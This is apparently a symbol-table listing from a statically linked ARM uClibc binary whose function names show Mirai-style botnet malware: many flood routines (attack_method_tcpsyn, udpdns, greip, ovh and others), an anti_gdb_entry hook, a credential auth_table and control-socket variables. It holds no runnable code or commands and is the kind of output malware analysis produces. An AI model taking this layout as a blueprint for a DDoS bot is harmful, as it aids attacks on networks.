__GI_mmap	.symtab	0x1942c	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x19858	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x1989c	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x1991c	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x18be0	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x1540c	196	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x18908	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x17408	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x176c8	144	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x18d00	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x15580	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x19b74	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x14fe8	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x15a50	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x15b08	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x1997c	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x1506c	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x15bd4	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x15c90	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x150f0	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x15d18	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x17928	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x194d4	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x15da4	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x15df4	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x15e08	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x15130	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x189f8	300	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x15d60	68	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x17758	216	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x1b960	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1ba50	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x1b8e0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x1b8e0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x15780	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1bb3c	68	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x1b900	96	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1bb80	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1bbd0	76	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x17a34	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x17e38	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x1bc40	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x151bc	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x199e8	20	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x151ec	64	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x18c70	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x269bc	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x269bc	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1d4a4	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1d438	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1d45c	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1d480	36	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1c60c	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x1c738	24	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x19580	8	FUNC	<unknown>	DEFAULT	2
__aeabi_uidiv	.symtab	0x14bc4	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x14cc0	24	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1d404	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1d3fc	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1d3f4	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x272d8	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x26b54	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x29d18	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x26c68	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x26c68	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x18f94	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x18b50	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x18b34	24	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x26b7c	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x2983c	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x26a68	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x19574	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x19568	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x14cd8	20	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1c60c	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x269b8	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x29d18	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x272d0	4	OBJECT	<unknown>	DEFAULT	14
__errno_location	.symtab	0x15668	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x1e9b0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x1e898	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x26d80	4	OBJECT	<unknown>	HIDDEN	14
__fcntl_nocancel	.symtab	0x14cec	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1b284	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x269bc	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x269b8	0	NOTYPE	<unknown>	HIDDEN	10
__fork	.symtab	0x1845c	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x29ce4	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x29ce8	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x26d84	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x269b4	0	OBJECT	<unknown>	DEFAULT	9
__getdents	.symtab	0x1969c	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1c1e8	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x197a4	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x188c0	72	FUNC	<unknown>	DEFAULT	2
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x1cba8	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1cc90	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1d428	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1cc24	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1cd48	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1d430	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1d50c	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1dc20	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1ceac	1352	FUNC	<unknown>	DEFAULT	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x269b8	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x269b4	0	NOTYPE	<unknown>	HIDDEN	9
__libc_accept	.symtab	0x15810	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x18b50	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x1590c	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x18d70	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x18df8	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x14d84	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x1845c	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x29cec	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x1991c	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x18be0	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x18d00	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x15a50	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x15b08	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x1506c	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x15bd4	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x15c90	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1beb8	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x194d4	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x272cc	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x18c70	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x18828	152	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x16e98	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x15f38	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x26a78	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x2996c	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x16de8	176	FUNC	<unknown>	DEFAULT	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x18be0	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x18bc4	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x272d4	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x269b4	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x269b4	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x26b70	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x26b74	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1c0e8	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x18edc	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x18ed4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x18ed4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x18ed4	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x18ed4	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x18d00	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x18ce4	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1d40c	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x272dc	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x15ef0	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x15f14	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x15ecc	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1c55c	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1c1dc	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x26b90	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1c330	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1c388	220	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1c464	48	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1c494	164	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x1a998	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x26b94	4	OBJECT	<unknown>	DEFAULT	13
__sys_accept	.symtab	0x157cc	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x158c8	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x15a0c	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x15ac0	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x15b90	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x15c44	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x194a8	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x198dc	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x19590	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x15028	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1be94	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x18f18	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x18fe8	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x19040	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x26b6c	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x14bc4	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x18c70	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x18c54	24	FUNC	<unknown>	DEFAULT	2
__xstat32_conv	.symtab	0x19ac8	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x199fc	204	FUNC	<unknown>	HIDDEN	2
_bss_end__	.symtab	0x29d18	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x1c0f4	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1c12c	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x29d10	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x29d14	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x29d04	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x29d00	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x29d08	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x29cf8	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1be2c	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x29cf4	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x29d0c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x29cfc	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x29cf0	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x26c68	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x29d18	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x195d0	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x1dc9c	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x27300	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_memcpy	.symtab	0x1b450	0	FUNC	<unknown>	HIDDEN	2
_pthread_cleanup_pop_restore	.symtab	0x18eec	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x18ee4	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x1955c	8	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x29964	8	OBJECT	<unknown>	HIDDEN	14
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x1a354	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x1a7b4	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x26b98	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x272e0	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x1ac28	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x272fc	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x272ec	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x272f8	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x26b9c	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x1a834	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x26b80	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l	.symtab	0x17a50	472	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x172c8	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x15810	116	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0x11028	352	FUNC	<unknown>	DEFAULT	2
anti_gdb_entry	.symtab	0x10398	24	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x17a14	32	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x17a14	32	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_get_opt_int	.symtab	0x85b0	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0x8544	108	FUNC	<unknown>	DEFAULT	2
attack_get_opt_str	.symtab	0x81d0	92	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0x8620	1308	FUNC	<unknown>	DEFAULT	2
attack_method.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_method_asyn	.symtab	0x8b3c	1708	FUNC	<unknown>	DEFAULT	2
attack_method_greeth	.symtab	0xca84	1684	FUNC	<unknown>	DEFAULT	2
attack_method_greip	.symtab	0xbf28	1564	FUNC	<unknown>	DEFAULT	2
attack_method_ovh	.symtab	0xa5ec	1708	FUNC	<unknown>	DEFAULT	2
attack_method_std	.symtab	0xc7e4	672	FUNC	<unknown>	DEFAULT	2
attack_method_tcpack	.symtab	0xb830	1784	FUNC	<unknown>	DEFAULT	2
attack_method_tcpall	.symtab	0x9894	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpfrag	.symtab	0x91e8	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpstomp	.symtab	0xe3c0	1972	FUNC	<unknown>	DEFAULT	2
attack_method_tcpsyn	.symtab	0xac98	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpusyn	.symtab	0x9f40	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpxmas	.symtab	0xdc0c	1972	FUNC	<unknown>	DEFAULT	2
attack_method_udpdns	.symtab	0xd550	1724	FUNC	<unknown>	DEFAULT	2
attack_method_udpgeneric	.symtab	0xb344	1260	FUNC	<unknown>	DEFAULT	2
attack_method_udpplain	.symtab	0xc544	672	FUNC	<unknown>	DEFAULT	2
attack_method_udpvse	.symtab	0xd118	1080	FUNC	<unknown>	DEFAULT	2
attack_parse	.symtab	0x8328	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0x822c	252	FUNC	<unknown>	DEFAULT	2
auth_table	.symtab	0x26d08	4	OBJECT	<unknown>	DEFAULT	14
auth_table_len	.symtab	0x26cdc	4	OBJECT	<unknown>	DEFAULT	14
auth_table_max_weight	.symtab	0x26d0c	2	OBJECT	<unknown>	DEFAULT	14
been_there_done_that	.symtab	0x26d7c	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x15884	68	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x1c184	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x15e08	196	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x168e8	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0xeb74	80	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0xebc4	164	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x15688	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x18b50	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x1522c	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5105	.symtab	0x26c68	1	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x29844	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x1590c	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
environ	.symtab	0x272d0	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x17c28	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fake_time	.symtab	0x26d10	4	OBJECT	<unknown>	DEFAULT	14
fclose	.symtab	0x1a004	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x14d84	244	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x26a68	4	OBJECT	<unknown>	DEFAULT	13
fd_serv	.symtab	0x26a6c	4	OBJECT	<unknown>	DEFAULT	13
fd_to_DIR	.symtab	0x1533c	208	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x154d0	176	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x1aed8	940	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x1a9c8	324	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x1b284	300	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x1ab0c	284	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x1b3b0	160	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fopen	.symtab	0x1a334	32	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x1845c	972	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork_handler_pool	.symtab	0x26d88	1348	OBJECT	<unknown>	DEFAULT	14
frame_dummy	.symtab	0x8134	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x1704c	572	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x19638	100	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
get_eit_entry	.symtab	0x1c838	544	FUNC	<unknown>	DEFAULT	2
getc	.symtab	0x1a9c8	324	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x1b284	300	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x1973c	44	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x19768	20	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x1977c	20	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x19790	20	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x197a4	40	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x188c0	72	FUNC	<unknown>	DEFAULT	2
